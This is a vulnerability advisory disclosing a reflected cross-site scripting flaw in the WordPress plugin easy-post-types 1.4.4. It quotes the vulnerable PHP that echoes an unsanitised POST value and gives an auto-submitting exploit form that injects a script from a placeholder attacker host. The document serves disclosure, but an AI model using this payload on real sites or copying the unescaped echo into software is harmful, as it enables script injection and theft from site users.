Advisory #: 1227
Title: Reflected XSS in wordpress plugin easy-post-types v1.4.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/easy-post-types
Downloads: 27724
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: easy-post-types
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./easy-post-types/templates/field-form.php: 52: <input type="hidden" name="content_type" value="<?php echo $_POST['content_type']; ?>" /> 77: <select id="field-edit-field-type" name="ct_name" data-trigger-scope="contexflow" data-trigger-name="updateFieldTypeSettings" data-trigger-param-content-type="<?php echo $_POST['content_type']; ?>" data-trigger-param-url="<?php echo $this->ajaxUrl; ?>"><?php echo $choices; ?></select> The variable content_type appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./easy-post-types/templates/field-form.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/easy-post-types/templates/field-form.php method=post> <input type=hidden name=content_type value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>